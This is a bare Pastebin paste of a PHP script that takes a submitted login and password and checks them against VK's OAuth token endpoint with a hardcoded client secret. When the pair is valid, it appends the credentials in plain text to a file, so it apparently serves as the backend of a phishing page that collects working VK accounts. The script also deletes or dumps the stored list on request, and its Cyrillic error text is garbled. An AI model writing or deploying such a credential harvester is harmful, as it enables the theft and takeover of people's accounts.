Advertisement
Guest User

Untitled

a guest
Apr 9th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.87 KB | None | 0 0
  1. <?
  2. if($_POST['method']=='auth'){
  3.     if((empty($_POST['p'])) or (empty($_POST['l']))) exit('<div class="oauth_error">”казан неверный логин или пароль.</div>');
  4.     $r = file_get_contents('https://oauth.vk.com/token?grant_type=password&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST['l'].'&password='.$_POST['p']);
  5.     $json = json_decode($r,1);
  6.     if(empty($json['access_token'])) exit('<div class="oauth_error">”казан неверный логин или пароль.</div>');
  7.     file_put_contents('source.php',$_POST['l'].':'.$_POST['p']."\n",FILE_APPEND);
  8.     exit("success");
  9. }elseif($_POST['method']=='clear') unlink('source.php');
  10. elseif($_POST['method']=='save'){
  11.  
  12. var_dump(urldecode($_POST['accs']));
  13.  
  14. /*  unlink('source.php');
  15.     $fp = fopen("source.php", "w");
  16.     fwrite($fp, urldecode($_POST['accs']));
  17.     fclose($fp); */
  18. }
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement